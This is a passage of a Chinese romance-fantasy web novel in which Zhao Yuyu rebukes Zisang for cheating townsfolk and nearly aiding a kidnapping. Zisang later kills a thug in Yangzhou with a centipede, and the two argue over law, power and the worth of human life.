赵玉屿脑子一懵,直接炸了,一个跨步上前猛然揪住他的衣领,将子桑抵在香案上,神色焦急:“你将哪个姑娘绑了?!”
她的杏眼因为震惊而圆睁,犹如受惊的狸花猫炸了尾巴,子桑望着她极近的面容,玉白的面色泛起潮红。
他此时被赵玉屿整个压在身下,平日里严丝合缝的衣襟因为她的牵扯而微微散开,露出精致白皙的锁骨。少女的身体柔软而纤细,未见得有多少重量,却像是一座山一座鼎让子桑丝毫动不得身子,顺从地躺在香案上,任由着她对自己的所作所为。
他们的头顶上方,端立的神像一手捏花,一手结印,低眸垂眼,悲悯地望向世人。
赵玉屿并未意识到他们此时的姿势有多么暧昧旖旎,她的全部注意力都在子桑方才漫不经心炸出的轰天巨雷中,焦急追问:“你都做了些什么?姑娘呢,你给人弄哪去了!”
子桑的思绪却并未在她的话语中,而是在她的身上。他目光从赵玉屿的眼眸渐渐滑落到她的鼻尖,再落到唇上,眼神微黯,却知晓赵玉屿在生气,忍着亲上去的冲动,偏头低声轻哼道:“还没呢。”
还没?
赵玉屿一怔,瞬间松了口气,还没就好,还没就好。
要是子桑真帮着别人糟蹋了姑娘,那就当真是无法挽回的错误,她掐死他的心都有了。
赵玉屿气得锤了下他的胸口怒骂道:“你这是在犯罪知道吗!”
偷盗、洗钱、诈骗、绑架,他奶奶的,五毒俱全!
第62章
子桑对她的话很不理解:“我帮助他们,分明是在行善事。”
赵玉屿气得头脑发胀,她发现自己错了。
当初她以为子桑鸓对子桑岐感到愧疚是因为读书识礼明德,可如今来看,这个人根本就没有道德底线,他对子桑岐的愧疚只是本能和直觉,他甚至连什么是律法道德都不知道,或者说对于律法道德嗤之以鼻。
摘星楼那么多书,他这些年都读到狗肚子里了吗!
毕竟这么多年都没人真正告诉过他这些,赵玉屿深吸一口气让自己冷静下来,解释道:“子桑大人,做善事的前提是利人不损人,你看起来是帮助了这些所谓的信徒,可实际上却是在害他们。单说你偷钱送给一个赌徒,不是在纵容他继续赌博吗?你可以帮得了他一时,却帮不了他一世,人的欲望是个无底洞,赌场无赢家,他沉沦得越深越无法自拔,最后倾家荡产都有可能。”
子桑却丝毫不以为意:“那是他自己的选择,与我何干。”
人一旦臣服于欲望受其驱使,便该做好陷于欲望的泥潭不可自拔的结局,即便最终被污泥腐蚀鬼爪拖身坠入阿鼻地狱,也是他们活该。
他又不是神仙,只是一场交易而已,没道理要为他们的未来作保。
赵玉屿对此并不否认:“是与你无直接关系,你只是纵容他引诱他并没有直接杀死他,人的确要为自己作出的选择承担后果,就算赌徒的事情说得过去,但那个你想要绑了去的姑娘呢?”
她接着道,“那姑娘若当真失去了清白会怎么办?在这个世道一个失去清誉的姑娘,她的结局要么是嫁给一个自己不喜欢的甚至是强迫自己的人,要么因为羞辱而自尽。人家姑娘做错了什么要因为一个男人的觊觎而凄惨收场?若当真出了这事你就是帮凶!是要跟那个混账男人一起被唾弃的,这也与你无关吗?!”
子桑听到这话神色微敛:“你也会唾弃我吗?”
“当然!”
赵玉屿恶狠狠道,“我最讨厌强()奸犯了!”
子桑被她凶狠的神色震得微愣,因为做了错事而心虚得抿了抿嘴唇垂下眼眸不敢看她,又忍不住伸手揪住她的衣角,生怕她因为厌恶自己而离开。
子桑此时心中一阵后怕,才意识到自己差一点就让赵玉屿心生厌恶。
还好,还好他没真的做了错事。
若是赵玉屿因此讨厌他、不要他了,那他该怎么办?
赵玉屿也觉得自己的表情可能太过狰狞,缓和了神色放轻声音道,“己所不欲勿施于人,子桑大人,说句不好听的,倘若有人不由分说将你绑到宋承嵘的床上受辱,你能愿意吗?”
子桑:“……”
一想到宋承嵘那恶心东西,子桑眼中闪过杀意,厌恶之情溢于言表。
除了赵玉屿,谁敢碰他谁就得死!
瞧着子桑骤然变绿的神色,赵玉屿知晓他听进去了。果然,人还是得有切身体会才能感同身受。
虽然举例有些不妥,但好在效果是显著的。
她叹了口气,拍了拍子桑的胸膛:“是不是想想就恶心得不行?所以子桑大人,咱们不能做这种恶心人的事。”
子桑望着她微微颔首,为表歉意郑重道:“我知道了,以后再有人敢许这种心愿我就杀了他。”
他咧开嘴角漾出一个笑容,声音轻柔带着一丝讨好,“我跟玉儿一样,也讨厌强()奸犯。”
赵玉屿瞧着他这笑容不知为何有点毛骨悚然,满身的鸡皮疙瘩都飞了起来,连忙道:“倒也不用如此凶残……”
若只是单纯的喜欢一个人,许愿想同心上人在一起本身
没什么错误,这跟将人绑上床玷污清白那完全是两个概念!
再说还许什么心愿啊!还嫌当这破神仙折腾得不够吗!
赵玉屿也真是佩服子桑,这才刚到镇子上没几日居然就能聚集来这么多的“信徒”,不去当传销简直可惜了。
子桑一脸正色虚心问道:“那玉儿说该怎么办?”
赵玉屿思忖片刻:“若我说,这小镇上也都是讨生活的平民百姓,日子过得本就不容易,那些钱都是他们的血汗钱,咱们合该将钱还回去。”
进门索要进门费,拜神要买莲花灯,许愿还得再另外竞价,价高者得,这比周扒皮还周扒皮,地主资本家都没你这么会剥削。
赵玉屿心里吐槽,接着道,“至于赌场的钱本也是坑人的不义之财,可以用来分发给百姓们,就当是劫富济贫?”
子桑见她一脸认真的思索,杏眼随着话语咕噜直转,双唇因为方才的激动而殷红水润,思绪一时间又渐渐飘散。
好可爱……
他双眼微弯如星月:“玉儿说得对。”
只要玉儿不生他的气就好。
见他答应,赵玉屿也弯起嘴角:“那就这么定了,事不宜迟咱们今晚就得把钱还回去,这些人已经见到了我的脸,小镇就这么大,万一事情传开了就麻烦了,我先……”
她未说出的话顿在口中,思绪从方才的愤怒和震惊中剥离出,赵玉屿这时才发现她和子桑的姿势有多么暧昧。
她此时整个身子压在子桑身上,双手搭在他的胸口,子桑整个人被她推躺在香案桌上,原本高束的马尾略歪凌乱散在脑后,发尾勾住了神像的莲花宝座,他面颊染上一层薄红,眼眸像是含着一戳即破的水壳,水濛濛一副任人摆布的模样,修长的双手已在不知何时搂上她的腰肢,似有若无的轻轻摩挲着腰带,两个人紧紧相贴甚至可以隔着衣服感受到彼此的体温。
赵玉屿脸色突红,仓皇起身兔子一般从他身上弹射而下,连连倒退了一米开外才堪堪停住脚步,结结巴巴地道歉。
“对不起对不起……我不是故意的……”
子桑缓缓坐起身子,瞧着赵玉屿忽然局促羞涩的模样而不解:“怎么了?”
他的衣襟因为赵玉屿方才的纠缠拉扯而略显凌乱,衣口散开,因为他起身的动作而张得更大,精致的锁骨一览无余,迷乱奢欲之气顺着垂起的长发流淌在香案和莲花宝座间。
明明子桑只是正常的询问,为什么她觉得如此色情啊!
赵玉屿为自己脑海中的一团黄色废料而抓狂,可是子桑这个样子真的好像被蹂躏之后迷茫起身的尤物,尤其此时还是在圣洁悲悯的神像之下。
禁忌感十足,我&%@#%!
带感!
赵玉屿捂住鼻子,防止脑子一热鼻血流下。
她猛然转过身,将脑子里的骚东西一甩而出,仓促慌乱道。
“时辰不早了,钱都在客栈呢,我们先回去取钱吧!”
子桑虽然有些不解赵玉屿突然的惊慌失措,但瞧着她仓皇逃窜的身影,便也跟着她离开矮楼。
骗钱容易还钱难。
这镇子上虽然人不算多,但要想短时间内将所有人的住户都找齐并将钱还回去也难如登天。
好在子桑帮手多,他唤来了镇子里所有的狗,将钱袋交给它们。汪汪队本就对镇子上的住户极其熟悉,嗅着钱上的味道便知道是谁家的钱,叼起钱串奔跑到那人的家门口。
如此一来,两袋钱很快便被汪汪队瓜分干净,送回了原主门前。
将赌坊的钱也分发给镇中百姓后,看着钱袋里所剩无几的银钱,还有靠在椅子里正撑着脑袋神色困倦的子桑,赵玉屿道。
“子桑大人,我知道你是想让咱们的手头不要那么拮据才会想出这个法子赚钱,你能给我买那么多的首饰其实我很开心,因为我知道这是你对我的好,但其实我并不需要那些的。”
赵玉屿从麻袋中捡起一枚铜钱,用红线串上后挂在脖间,望向子桑含笑道。
“这枚铜钱就当是送给我了,我会一直戴在身上的,子桑大人,你的心意比金银首饰更珍贵。”
子桑听到这话原本耷拉的眼皮猛然抬起,凝望着赵玉屿脖间的那枚铜钱双眼含光,也有样学样拿起一枚铜钱串起戴在脖子上,摸了摸自己锁骨间和赵玉屿相同的铜钱满意一笑,轻声道:“那这是你的心意。”
瞧着他有些稚气又真诚的模样,赵玉屿忍不住笑了,忽然,她敛起笑容目光微怔,一瞬间意识到,子桑这些日子其实一直在模仿她。
她说要当好人,子桑便去帮助别人实现心愿;
她说要赚钱,子桑便去装神弄鬼坑蒙拐骗;
她说讨厌什么,子桑便也讨厌;
她将铜钱系于脖间,子桑也有样学样,当做是对彼此的感谢。
对于子桑来说,前十九年的人生是畸形的、狭隘的。他在瑶山的童年有的仅仅是空洞洞的黑牢,而后他又画地为牢将自己囚禁在奉仙宫这一方天地静静等待死亡。
世界对他来说只有这两个孤寂的小角落,他想要离开却又在痛苦中渐渐绝望,失去了离开的力量和希望。
如果当初在瑶山她没有将子桑救出,那他最终的归宿依旧是在祭坛的牢笼中结束短暂又可悲的一生。
世界于子桑而言一直很遥远,遥远得像是太阳。所以他封闭自己不愿意与人接触,不愿意靠近世界,因为常年身处在黑暗中的人一旦看到阳光会害怕被灼烧。
而她,是子桑打开世界的一把钥匙。
赵玉屿目光柔缓下来,对于世界来说,子桑就像是一张白纸,需要有人牵起他的手,引领着他认识这世间的一草一木。
她牵起子桑的手,莞尔一笑:“子桑大人,我们走吧。”
“嗯。”
第63章
两人将银钱还回去后,当夜便离开了小镇,沿着驿道一路向南。他们身上如今银钱所剩无几,只得重操旧业,靠猴大卖艺养家。
令赵玉屿没想到的是,子桑倒是对当街卖艺没有之前那么排斥,他甚至会主动唤来许多动物表演杂耍,赢得满堂喝彩,因此赚了不少银钱,两人一路上日子过得倒也并不拮据,甚至囊中富裕。
赵玉屿很是欣慰,看来之前她说的话子桑当真是听进了心里的,孺子可教也!
待两人到扬州时,正是早市时分。
听闻扬州三把刀,其中厨刀在大雍最负盛名,而早茶又是扬州美食聚集之处,他们入城的时间正好赶上吃早茶,赵玉屿便兴冲冲拉着子桑挑了一家人多的茶楼吃茶。
水晶肴肉、蟹黄汤包、虾籽馄、烫干丝、狮子头,每条长牌子都上一份尝尝,再点上一壶魁龙珠,靠着二楼窗边望着青山秀水袅袅炊烟慢悠悠地品。
想想就惬意!
茶点上得到挺快,赵玉屿刚想夹一块肴肉尝尝,就见子桑已经快一步夹起肴肉双眼含光送到她嘴边。
又来。
赵玉屿无奈,前些日子他们酒楼用膳时,正巧旁边坐了一对夫妻。妻子亲自为丈夫布菜,温柔小意关怀备至,周遭食客皆是艳羡,大夸男子福来运转娶了个好媳妇。那男子听到后话上谦逊实则神色飘然,嘴角上扬合不拢嘴,拍着大腿直说命好娶了个会心疼人的媳妇。
子桑看到后若有所思,也夹了一块糕点递给她。
赵玉屿一开始只当他是觉得好玩,便也没拒绝,笑着谢了他两句。没想到子桑自此发现了新大陆一般,有样学样,一到用膳便要亲自喂她吃。
赵玉屿眼睛刚瞟到菜上,他已经夹起了菜。那叫一个眼疾手快,她的筷子都还没跟上眼睛,子桑夹的菜已经送到了她嘴边。
赵玉屿望着子桑满含期待的眼眸陷入了沉思,觉得子桑是不是对于人与人之间相处的理解陷入了误区。她只得委婉拒绝,告诉子桑只有夫妻才能
这能做这般亲密的事情。
结果子桑又装聋作哑,左耳进又耳出,下次照样投喂。
望着眼前的肴肉和子桑发光的眼眸,赵玉屿叹了口气:“子桑大人你看我有手有脚的哪里需要人照顾,你若是觉得好玩,便喂猴大吃吧,旁人都往这边瞧我也吃不下啊。”
他俩的长相秀丽,又带了只猴子,走到哪都引人注目,如今还这般亲密投喂,旁人的目光一直往这边有意无意的瞥来。
子桑听到这话,还是不放下筷子,执意要喂她。
赵玉屿狠了狠心不看他筷子上的肴肉,自己夹了一块肉埋头吃。
过了好一会儿,见桌子对面没了动静,她犹豫片刻,抬头望去,就见子桑整个人抱着猴大没骨头一样窝在椅子里,偏头望着窗外灰瓦白墙后袅袅升起的炊烟静静发呆,桌上的饭菜一口也没动。
赵玉屿:“……”又来!
自己一不愿意配合他就装委屈,也不生气也不闹腾,直接绝食抗议。
她喝了口茶语气无奈:“子桑大人,这么多菜我一个人吃不完的。”
子桑捏着猴大的耳朵淡淡道:“吃不完就扔了,又不是什么好东西。”
“……”那个尖酸刻薄的味道又回来了。
但总不能一直惯着他,赵玉屿索性不理,自己埋头干饭。
又吃了几口,头顶上方似乎有一道灼热的目光一直盯着她,像是要将她盯出个窟窿来。
赵玉屿一抬眼,子桑依旧撇头望向窗外。
“……”
见他死活不吃菜,赵玉屿无奈给他夹了一个饺子放到碗里。
等她再次抬头时,子桑依旧望着窗外……桌上的菜照旧一口没动,只有她夹到他碗里的饺子没了。
犟种,真是个犟种。
认了死理就是八头牛都拉不回来,除了她喂的菜其他的饿死了都一口不吃。
赵玉屿只得叹了口气,妥协地缓缓道:“子桑大人,汤包太远了我够不到。”
子桑听到这话,原本惫懒的身子如同充气玩偶一般直直坐起,黯淡的眼眸微微发亮,极其庄重地挽袖拿起筷子,夹起面前的蟹黄汤包沾了醋递到她嘴边,眼含星辰望向她。
赵玉屿张嘴咬了一口,澄黄的汤汁灌入口中,汤皮薄糯,配上陈醋酸甜兼具,鲜嫩可口:“好吃。”
子桑听到这话眉眼弯弯,垂眸望向赵玉屿面前摆放的软兜,赵玉屿会意,夹了一条放入他碗中。
顿时,子桑眉目间皆是春色,也道:“好吃。”
一旁喝茶的食客瞧见,低声感叹:“新婚燕尔的小夫妻就是浓情蜜意,吃个饭都得互喂调情,想当年我和我那老伴儿也是如此。”
赵玉屿脸色一红,低头吃包子就当没听见。
子桑倒是肉眼可见的心情愉悦,捡了个包子丢给猴大吃。
两人正吃得尽兴,忽然听到楼下传来一阵喧嚣。
赵玉屿好奇心重,趴在二楼的栏杆上伸头朝外望去,就见熙熙攘攘的大街上,几个男人正围着一个衣着破旧的姑娘。
那姑娘跪在地上,身前冰冷的地板上躺着一个干皮瘦骨的老人,似是已经没了呼吸,身上盖着麻席。
周围围观的人群愈加聚集,一个男人高声大笑道:“小美人,瞧这细皮嫩肉的多俊俏,来给老子当媳妇,老子必定夜夜疼你!”
另一男人走上前就想拉那姑娘的胳膊:“小妮子,你若是将爷伺候好了,爷爷亲自帮你把人埋了如何?日后爷爷好吃好喝伺候你,不比去给旁人为奴为婢来得快活?”
说罢,他就想去摸那姑娘的脸蛋。
那姑娘瞧着不过十一二岁,还是个孩子,被这几个五大三粗的男人吓得不知所措,惊恐朝后退去想要离开,还不忘抱住地上的尸体想要拖着尸体一起走。
然而尸体太重,她竭尽全力地拖动尸体,却被男人们和层层看客围住去路。
街道两边的酒楼客栈已经探出不少脑袋,却无一人制止。
茶楼里的老客饮茶叹了口气:“定又是流亡来的,路上饿死了。”
见起了话头,众人七嘴八舌议论起。
“是啊,听闻渝州那边今年发天灾,先是起了水患后又起瘟疫,许多人都拖家带口流亡过来,能活着来扬州就算好的了,许多人半路上就饿死了。”
“这姑娘也是倒霉,遇到这几个破皮无赖。那为首的王麻子是咱们这有名的赖子,吃喝嫖赌,成日流连青楼烟花之地。可他舅舅是知府的张师爷,寻常人谁敢招惹他。”
众人皆叹气,却也没办法。
这种地头蛇,抓不得也打不得,一旦被盯上便跟条癞皮狗似的成日缠着你,都是扬州城里讨生活的,抬头不见低头见,谁也不敢招惹。
那楼下的小姑娘见逃不掉,一时慌张无措只能抱着尸体大哭:“爷爷我害怕,爷爷救我……”
为首的王麻子听见了,竟然越发得兴奋,将那姑娘拽起就往怀中带,当街就要强亲,口中淫言乱语尽出:“宝贝儿,你爷爷在这儿呢!不仅有你爷爷,还有你弟弟呢!”
周遭几个男人听到顿时猥琐大笑。
妈的!
赵玉屿见那些人愈加过分,一摔筷子怒然起身就要下楼。
她原是不想管的,和子桑这些日子游历山川便发现民间多疾苦,即便是大雍这般富庶之地也总有穷苦不公,凭他们两人根本有心无力。
管了又如何,还能管一辈子不成?
可瞧着那几个畜生居然对一个还未成年的小孩子这般猥琐,她还是忍不住冲了出去,大不了让猴大撕烂他们的眼就跑,看一群瞎子还敢欺负人!
结果刚跑到门口,就听到街上忽然一片尖叫喧哗,周围人都慌慌张张朝后退去,露出一脸惊恐的小姑娘。
王麻子不知为何浑身抽搐,双眼翻白,双手狰狞如鸡爪,躺在地上颤抖不止,没多久便气一松,硬挺挺躺下地上没了声息。
有人大着胆子走上前试探了下他的鼻息,愕然道:“没,没气了……”
“死人了!!!”
石破天惊一声呵喊让围观众人都慌了神,见鬼似的四散而去。唯余下躺在地上双眼狰狞、双唇乌紫的王麻子,还有茫然无措缩在角落里瑟瑟发抖的姑娘。
若是以前,赵玉屿或许对于死人还有些畏惧,但经历了风风雨雨,她还曾今亲手把刺客的头砍下,如今对着死人倒也没什么胆怯。瞧着猝然离世的王麻子心下起疑,赵玉屿走上前蹲下身子查看,见他瞳孔放大,气息尽失,的确是死透无疑。
可这人正值壮年,怎么会毫无预兆的突然就死了呢?
见他眼下青黑一团,又想起方才茶楼中人说话的话,这王麻子怕也是个黄赌毒俱沾的人渣,难不成是纵欲过度,连天熬夜所以猝死了?
赵玉屿不是大夫,对这些事情自然不清楚,但这种人渣死了对社会而言也算是件好事。
她刚想起身走到那女孩身旁,忽而身子一顿,看到王麻子的耳朵里似乎有黑色蠕动的东西。
她凝眼望去,就见一只黑色的蜈蚣从他的耳道里缓缓钻出,身上沾染着粘稠的白花花的液体。
赵玉屿愕然抬眼朝茶楼望去。
雕花窗户里,露出子桑含笑的玉容,他张了张口,虽未发出声音,但赵玉屿却从他的口型中读懂了他的意思。
“我和玉儿一样,也讨厌强()奸犯。”
他的笑容干净灿烂,但不知为何,赵玉屿指尖微微抖,那轻飘飘的话语像是蜿蜒的巨蟒缓缓将她缠绕住,冰冷的鳞片划过皮肤,令人毛骨悚然。
第64章
赵玉屿咽了咽口水,深吸一口气让自己冷静下来,走向因为突变而发抖的姑娘。
姑娘见她靠近有些害怕,赵玉屿替她理了理方才拉扯间有些凌乱的衣服。
“欺负你的人已经死了,待会可能会有官府的人带你去审问,你只需将看到的告诉他们即可,不要害怕,官府的人不是坏人,他们不会欺负你的。”
她的声音温柔,让姑娘原本紧张的心放松了许
多,姑娘点点头,目光去直愣愣地望向怀中的尸身。
赵玉屿叹了口气,从怀里掏出一块碎银子塞到她怀里:“这些银子够你找个敛尸人将你爷爷的尸身埋了。”
那姑娘听到这话,原本有些迟钝的目光一怔,似是听懂了她的话,眼中泪水集聚,双手捧着钱朝赵玉屿笨拙的磕了几个响头。
赵玉屿连忙拉着她起来,看着她略显茫然的双眼才意识到这姑娘似乎智力有些问题。
虽然听得懂话,反应却有些迟钝。
赵玉屿犹豫片刻,问道:“……你还有其他的亲人吗?”
“家人……”女孩目光迷茫,摇了摇头垂下眼眸,“没有,爹爹……死了,娘亲……死了……我只有爷爷,爷爷……爷爷也死了……”
赵玉屿听到这话,眼睛有些发热,心酸又无奈地抱了抱她。
麻绳专挑细处断,厄运只找苦命人。世道险恶,这样的姑娘流落在外只有任人欺凌的份,即便今日侥幸被救,日后的结局也几乎是注定的。
那孩子似乎感觉到了她的善意,朝她怀中靠了靠。赵玉屿正待安慰她,忽而感到衣襟一紧,整个人被人拉起。
子桑已经从茶楼出来,嫌恶地上下扫了一眼那孩子,掩鼻道:“酸兮兮的一股臭味,你也不嫌脏。”
那孩子虽然迟钝,却也感觉得到子桑不喜欢她,畏畏缩缩的耸着肩膀站在原地,以为自己做错了事情,呆愣愣地望着赵玉屿手足无措。
赵玉屿顿时心中怜爱,从子桑怀里挣扎出,拉着她的手轻柔道:“别怕,大哥哥是好人。”
虽然配上子桑那张冷漠到溢于言表丝,毫不加掩饰的嫌恶表情,这话说得她自己都不信,但赵玉屿依旧面不改色。
长街不远处传来匆忙的脚步声,赵玉屿连忙扭头凑到子桑耳旁低声道:“子桑大人,待会问你什么都别说。”
这死去的王麻子既然是扬州城师爷的侄子,那衙门对此事必定不会不了了之,说不定衙役跟这王麻子都认识,他们两个既然掺和其中,免不了要和这姑娘一块被抓去审问一番。
以子桑那不管不顾的性子,说不定能当场就承认这人是自个杀的,顺便把在场所有人都讥讽一遍,掏出笛子干翻全场。
耳畔是少女而温声细语,子桑耳朵一热,酥酥麻麻的如兰呵气蔓延全身,他弯了弯唇角,没有丝毫抗拒。
“嗯。”
玉儿说什么便是什么,反正有他在,没人能欺负得了他们。
果不其然,那群衙役跑过来查看了王麻子的尸体后,顿时将他们团团围住。
“将人都带回衙门!”
三人极其顺从的跟着衙役到了府衙。
张师爷匆匆赶来时便瞧见侄儿的尸体,他顿时气急红眼,带着衙役将几人挨个盘问。
先问的是赵玉屿,赵玉屿全程态度良好,积极配合,知无不言言无不尽,直言王麻子是被蜈蚣钻了耳朵猝死的。
师爷对于这荒谬的言论自然无法接受,好端端的人怎么会突然被蜈蚣钻了脑袋!
赵玉屿一摊手,表示她只是将瞧见的说出来,其他的无可奉告。
第二个审问的是那孤女。
那姑娘一问三不知,审了半天才慢吞吞说出几个字,师爷就是眼神再不好也瞧出她智力有些问题,只得作罢。
子桑则是懒得回答,仰头靠在审讯的长椅里直打哈欠。他右腿压在左腿上脚尖翘起,左脚点地,一晃一晃地推着长椅的两个前腿微微抬起,只后腿着地,吱嘎吱嘎百无聊赖地轻轻晃荡。
赵玉屿不在,面对这些又蠢又丑的衙役又不能杀又不能骂,他实在提不起半点精神。
见他不配合,师爷猛然拍桌:“你给我老实点!”
子桑从来不是个受气的主儿,听到这声呵斥,原本扬起的嘴角冷下,后仰的身子并未坐直,只眼眸微垂瞥了他一眼,目光中的睥睨和森然让师爷握笔的手一抖,心中微悸,没想到自己竟然对着这卖艺的杂耍竟心生畏惧,一时羞恼,呵斥道:“放肆,你这是什么态度!我看杀了王麻子的就是你!”
子桑翻了个白眼懒得理他,张师爷见他不配合,朝旁边的衙役使了个眼色,衙役会意,松动松动手腕走上前。
有时候审讯不配合,动用刑罚是默认的事儿,为了断案,知州即便知道也是睁一只眼闭一只眼,不会多计较。
然而就在衙役拳头落下的一瞬间,忽然听到一道尖锐的口哨声。
那一刻,他感到身子瞬间不受控制般朝后拐去,犹如灵魂出窍一般愕然地看着自己朝师爷冲去,硕大的拳头砸在了惊慌无措的师爷脸上。
鼻血飞溅。
张师爷捂住脸哀嚎一声,摔了笔怒骂道:“你想死吗,打我做什么!”
衙役面色惊恐,想要朝张师爷摇头却发现根本控制不住自己的身体,而后,他感到眼前泛起一层黑雾遮住了视线一般,思绪似乎被悠扬的口哨声牵引,轻飘飘飞到了远方,最终陷入无边无际的黑暗。
张师爷拿帕子擦了擦鼻血,正待发飙,却见那衙役忽然又静了下来。
他怒骂道:“在这装死做什么,还不快去审问犯人!”
衙役似乎有些迟钝,张师爷以为他胆子大了敢反抗,抄起审讯本朝他头上砸去,尚未落下,就见那衙役猛然转身,沙包大的拳头再次直直朝面袭来,将他另一个鼻孔也砸得流血。
张师爷捂着鼻子,一脸震惊:“你,你竟然敢打我!”
一阵瘆人的轻笑从椅子上传来,张师爷目光落到仰头靠在椅子上的少年:“你,你笑什么?!”
少年双手拢在脑后悠悠荡着椅子:“笑你不知道好歹。”
他似乎嘟囔了一句,“总是有你们这些烦人的东西打搅我和玉儿,要是能将你们都杀了就好了。”
可是他们暂且没做错什么,若是随意杀人,玉儿会不高兴的。
子桑叹了口气:“罢了,算你命好。”
张师爷不知道他嘀嘀咕咕说些什么,刚想痛斥,却发现眼前微朦,像是罩了一层黑雾,意识逐渐陷入了黑沉之中。
赵玉屿正在堂前等着子桑,就见他施施然从门口走出。
子桑牵起赵玉屿的手:“走吧。”
“?”
赵玉屿有些讶然:“这就结束了?咱们不要等审判结果吗?”
带着子桑出来的衙役解释道:“张师爷已经呈了各位的供词给知州,仵作的验尸结果也出来了,的确是蜈蚣钻耳而死,所以各位可以回去了。”
赵玉屿点点头,心中虽然还是觉得似乎有些过于简单,毕竟有人横死,而且死的人是那张师爷的侄子,先前她被审讯时,分明见那师爷一脸横意,一瞧就不是好相处的人,但既然衙门都这么说了,她也不再多言。
虫子钻耳致人死亡这事虽然少见,却也有据可循。
出了衙门,赵玉屿找来了敛尸人将那孩子爷爷的尸体埋于城外后,蹲下身子朝跪在坟前的孩子问道。
“你叫什么名字?”
“我叫玉儿。”
赵玉屿一愣,含笑道:“好巧啊,我也叫玉儿。玉儿,你之后有什么打算吗?”
玉儿似乎想了想,望着坟墓缓缓道:“陪爷爷。”
“如今这世道,你一个小孩子如何能自保。若是那几个地痞流氓之后再寻你麻烦怎么办?”
赵玉屿回首望向子桑,“要不……”
子桑望着她的眼眸意识到她要说什么,顿时拒绝:“不行!”
他瞧着这又蠢又丑的邋遢丫头就嫌烦,更何况这丫头居然也敢叫玉儿,简直让人愈加生厌,恨不得叫猴大撕了她那张脸方能解气,如何能让她同他们一块上路。
他心中恶毒想着,最好就让这蠢东西死在荒郊野岭,同她爷爷团聚好了。
许是子桑的眼神过于歹毒,只是他站在赵玉屿身后,赵玉屿瞧不见但那孩子却瞧得一清二楚,吓得她攥紧赵玉屿的衣襟,缩起脑袋钻进赵玉屿的怀中。
赵玉屿愈发怜爱,轻柔地拍了拍她瘦弱的后背:“子桑大人,这孩子同咱们也算是有缘分,而且咱们只是捎上她一截,若是找到了可靠的人家便将她安顿下来,也算是行善了。”
她扭头望向子桑,秋后算账:“还有,方才那只蜈蚣是你放出去的吧。”
子桑点了点头,一脸自豪:“是啊。”
赵玉屿见他居然如此理直气壮,捂了捂脑袋无奈道:“子桑大人,虽然那人的确是个人渣,但咱也不能说杀就杀啊,自有律法处置他。”
子桑却不以为然地反驳:“若律法当真有用,那他便不会一直作恶无人阻止。”
赵玉屿一噎,他说得竟的确有道理。
子桑双手环胸接着轻飘道,“那些围观的茶客无一人不厌恶他,却又无一人上前制止,是因为对于他们来说,王麻子的权力高于他们,或者说王麻子背后的张师爷代表的是衙门,他们害怕惹火上身,所以不敢挑战权力。所谓律法,不过是权力的一把戒尺,这戒尺是用来警戒权力之下的蝼蚁,而不是为了约束权力本身。既然如此,便应当用更高的权力杀死他。”
第65章
赵玉屿沉默片刻,虽然子桑说得的话自己不能完全苟同,但他说得的确有道理。
如果说一开始她认为人命不应当如此草率的被处置,可方才从离开府衙的一路上她看到的景象便让她明白了,这个世界的人命本就如草芥一般。
那些逃难来到扬州随处摊到在大街上却无人问津的流民,那些在早市里被插着稻草随意贩卖的奴隶,那些大街小巷与狗争食的乞丐,还有那些高楼中泼洒钱币看着百姓哄抢,搂着美姬高笑的富商豪绅。
一城之内,人间百态。
在这个世界上,权力是高于律法的存在。因为律法本就是依附权力而存在。
在扬州城内,又有多少百姓真的相信惩恶扬善这四个字,倘若他们相信,便不会对王麻子当街猥亵的猖狂模样习以为常、冷眼旁观。
这些她都知道,可她依旧感到心悸。
她害怕的并不是子桑杀死王麻子的手段和果决,而是他在杀死王麻子时身处高位的理所应当和眼中对人命的漠然。
他仿佛并不懂得任何的道德伦理,像是一个笨拙模仿着人类的小怪兽,只是因为她曾今说过讨厌强()奸犯,所以他也学着自己讨厌。
而他的是非观极其极端,喜欢的视若珍宝,讨厌便直接毁掉。
赵玉屿希望子桑能够随心所欲的如同寻常人一样生活,却从未想过将他变成自己的武器,更不希望他变成一个视人命如无物的怪物。
王麻子的确十恶不赦,可若遇到是其他人呢。
若只是一些摩擦和冲突,子桑会不会因为心生不满便随意的杀死别人,置人命于不顾?
当初在馄饨摊,他便险些杀死了管家等人。
明明很多时候比起杀人有更好的解决办法,但子桑似乎总是遗忘与人沟通的耐心,选择采取最快速的方式解决麻烦,即便代价是人命也无所谓。
“子桑大人,或许你说得是对的,可是当你在用权力处死王麻子的那刻,你将自己置于何种位置呢?是执刀人,还是持戒者。倘若你觉得权力之下人命如草芥,那和当初想要烧死你的瑶山族人有何不同呢?”
赵玉屿垂下眼眸,她知道对于子桑来说,想要杀死一个人如同捏死一只蚂蚁般易如反掌,拥有异于常人的能力应当是他的骄傲,却不应成为他随意杀人的武器。
子桑听到这话微微怔住。
他从未考虑过王麻子是否应该死。甚至当初他对于王麻子的所作所为并无任何感想,只是见赵玉屿讨厌,所以他便也讨厌。
既然讨厌,不就应该让他永远消失?
王麻子的命没了便没了,他甚至只是心头一动间便取走了那人的性命,对于他而言,将目光停留在那个人身上一刻都是在浪费时间。
不论是执刀人还是持戒者都无所谓,因为他毫不在意。
可在赵玉屿的眼中,自己的所作所为竟和瑶山那群人是一样的吗?
为什么,为什么玉儿会将自己和那群恶心的人放在一起比较?
她讨厌自己了吗?
他做错什么了吗?
想到这里子桑有些慌张无措。
赵玉屿见他面色突变,以为他生气了,心中叹了口气。罢了,子桑从小所处的环境有异于常人,更何况他算是封建阶层的既得利益者,想要让他改变想法一时半伙也做不到。
她笑了笑,想要去看看一直安静望着坟墓的小丫头,却被子桑一把拉住了手。
“玉儿……”
赵玉屿有些惊讶地望向子桑。他紧紧握住自己的手腕,用了十足的力气让她有些发疼。
子桑犹豫着低吟问道:“你生我的气了吗?”
他的语气轻柔得像是小心翼翼怀抱着一块易碎的玻璃,赵玉屿微怔:“当然不是。”
她解释道,“那个王麻子的确是个混账玩意,你这也算是为民除害,是好事。我只是觉得,以后如果再遇到这种事情,处理问题的手段可以先温和一些,最起码不要一上来就打打杀杀的,咱们可以先尝试着通过劝说解决问题,俗话说君子动口不动手嘛,如果劝说无效,再考虑运用武力解决问题。”
赵玉屿从来不反对武力解决问题,相反,武力很多时候是解决问题的可靠手段,孔圣人还一手执剑一嘴说理呢,只是这顺序不能错啊,得先说理,再动手。
子桑见她并未生自己的气,顿时如获甘霖,弯起笑眼颔首:“嗯,听玉儿的。”
见他居然愿意听自己讲道理,倒是让赵玉屿惊讶不已。
虽然隐隐约约感觉到子桑的脑回路可能跟一般人不太相同,但不过愿意听劝总归是好事。
